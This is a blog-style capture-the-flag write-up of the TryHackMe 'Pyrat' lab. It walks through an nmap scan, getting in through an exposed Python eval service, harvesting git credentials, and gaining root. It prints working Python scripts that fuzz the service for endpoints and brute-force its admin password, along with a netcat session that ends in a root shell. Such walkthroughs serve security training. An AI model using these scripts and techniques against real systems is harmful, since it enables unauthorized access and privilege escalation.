Post

THM Pyrat

Pyrat

Summary

  • As decription of room. That is step by step to do this.

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
|   256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
8000/tcp open  http-alt syn-ack SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined

Enumeration

Two open port are 22 and 8000.
When access port 8000, we see.

Let’s think about connection. We can not get any infomation via browser. Change to termial and netcat.

This is python shell so we can find a payload to bypass it.

We can find the payload in https://www.revshells.com/.

well-know folder is ???
Upload linpeas.sh to /tmp and run it.

We found .git folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@Pyrat:/opt/dev$ cd .git
cd .git
www-data@Pyrat:/opt/dev/.git$ ls -la
ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21  2023 .
drwxrwxr-x 3 think think 4096 Jun 21  2023 ..
drwxrwxr-x 2 think think 4096 Jun 21  2023 branches
-rw-rw-r-- 1 think think   21 Jun 21  2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think  296 Jun 21  2023 config
-rw-rw-r-- 1 think think   73 Jun 21  2023 description
-rw-rw-r-- 1 think think   23 Jun 21  2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21  2023 hooks
-rw-rw-r-- 1 think think  145 Jun 21  2023 index
drwxrwxr-x 2 think think 4096 Jun 21  2023 info
drwxrwxr-x 3 think think 4096 Jun 21  2023 logs
drwxrwxr-x 7 think think 4096 Jun 21  2023 objects
drwxrwxr-x 4 think think 4096 Jun 21  2023 refs
www-data@Pyrat:/opt/dev/.git$ cat config
cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[user]
        name = Jose Mario
        email = josemlwdf@github.com

[credential]
        helper = cache --timeout=3600

[credential "https://github.com"]
        username = think
        password = <REDACTED>
www-data@Pyrat:/opt/dev/.git$

We got credential access ssh.

GOT USER FLAG

SSH to the target and analyze .git folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
git log -p -2
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+    if data == 'some_endpoint':
+        get_this_enpoint(client_socket)
+    else:
+        # Check socket is admin and downgrade if is not aprooved
+        uid = os.getuid()
+        if (uid == 0):
+            change_uid()
+
+        if data == 'shell':
+            shell(client_socket)
+        else:
+            exec_python(client_socket, data)
+
+def shell(client_socket):
+    try:
+        import pty
+        os.dup2(client_socket.fileno(), 0)
+        os.dup2(client_socket.fileno(), 1)
+        os.dup2(client_socket.fileno(), 2)
+        pty.spawn("/bin/sh")
+    except Exception as e:
+        send_data(client_socket, e
+
+...............................................
(END)
  • Functionality: The code implements a basic command handler for a socket connection, capable of handling specific commands like ‘some_endpoint’ and ‘shell’, while also allowing the execution of arbitrary Python code.
  • Security Risks: The ability to spawn a shell and execute arbitrary code poses significant security risks. This type of functionality could easily be exploited if proper authentication and validation are not implemented.
  • Privilege Management: The code also contains a mechanism to potentially downgrade permissions from root to a less privileged user, enhancing security by not running processes with excessive privileges unnecessarily.

Let fuzzing the some_endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import sys
import socket


# Check if the number of arguments is exactly 1 (excluding the script name)
if len(sys.argv) != 4:  # len(sys.argv) includes the script name
    print("Error: Script requires exactly IP of target and list endpoint.")
    print(f"Usage: {sys.argv[0]} <IP> <list_endpoint> <endpoint>")
    sys.exit(1)  # Exit with an error code



# Define the target IP 
target_ip = sys.argv[1]
target_port = 8000

file_path1 = sys.argv[2] # Path to your file containing fuzz strings
file_path2 = sys.argv[3] # Path to fuzzed endpoint.
def fuzz_with_file_strings(file_path):
    try:
        # Read fuzz strings from the file
        with open(file_path1, 'r') as file:
            fuzz_strings = [line.strip() for line in file.readlines()]

        # Create a socket connection to the server
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_socket.connect((target_ip, target_port))

        # Send each fuzz string to the server
        for fuzz_string in fuzz_strings:
            #print(f"Fuzzing with payload: {fuzz_string}")
            client_socket.sendall(fuzz_string.encode())  # Send fuzz payload
            response = client_socket.recv(4096).decode()  # Receive server response
            #print(response)
            
            if not response or "invalid syntax" in response or "is not defined" in response or "leading zeros" in response:
                 #print("Skipped empty response or response containing 'a' or 'b'.")
                continue  # Skip this iteration and continue with the next fuzz string
            
            print(f"Fuzzing with payload: {fuzz_string}")
            print(response)
            with open(file_path2, 'a') as endpoint:
                endpoint.write(f"Response to payload '{fuzz_string}': {response}\n\n")


    except FileNotFoundError:
        print(f"File '{file_path1}' or '{file_path2}' not found.")
    except Exception as e:
        print(f"Error occurred: {e}")
    finally:
        client_socket.close()

# Example usage
fuzz_with_file_strings(file_path1)

Prepare list_endpoint.txt with common endpoint to check.
Prepare blank endpoint.txt to write result fuzzing.

Found admin is special endpoint. It need a password to continous. Continous fuzzing password for admin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import sys
import socket


# Check if the number of arguments is exactly 2 (excluding the script name)
if len(sys.argv) != 3:  # len(sys.argv) includes the script name
    print("Error: Script requires exactly IP of target and list password.")
    print(f"Usage: {sys.argv[0]} <IP> <list password>")
    sys.exit(1)  # Exit with an error code



# Define the target IP 
target_ip = sys.argv[1]
target_port = 8000


file_path = sys.argv[2] # Path to your file containing fuzz strings

def fuzz_with_file_strings(file_path):
    try:
        # Read fuzz strings from the file
        with open(file_path, 'r') as file:
            fuzz_strings = [line.strip() for line in file.readlines()]

        for fuzz_string in fuzz_strings: 
            # Create a socket connection to the server
            client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client_socket.connect((target_ip, target_port))
        
            client_socket.sendall('admin'.encode())
            response = client_socket.recv(4096).decode()
            # print(response)
        
            client_socket.sendall(fuzz_string.encode()) # Send each fuzz string to the server
            response = client_socket.recv(4096).decode()
            if "Password" in response:
                continue  # Skip this iteration and continue with the next fuzz string
            
            print(f"Password for admin: {fuzz_string}")


    except FileNotFoundError:
        print(f"File '{file_path}' not found.")
    except Exception as e:
        print(f"Error occurred: {e}")
    finally:
        client_socket.close()

# Example usage
fuzz_with_file_strings(file_path)

With rockyou.txt, we found password.

1
2
3
┌──(kali㉿kali)-[~/thm/Pyrat]
└─$ python3 finding_password.py 10.10.193.111 ./rockyou.txt 
Password for admin: <REDACTED>
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/thm/Pyrat/.git]
└─$ nc 10.10.193.111 8000     
admin
Password:
<REDACTED>
Welcome Admin!!! Type "shell" to begin
shell
# id                                                                     
uid=0(root) gid=0(root) groups=0(root)
# 

GOT ROOT FLAG

My python is not good. I have spent some time to optimize my python code to avoid noise but it takes up a lot of my time and in this case it is not necessary and I will go back to optimize the code when I have time.

This post is licensed under CC BY 4.0 by the author.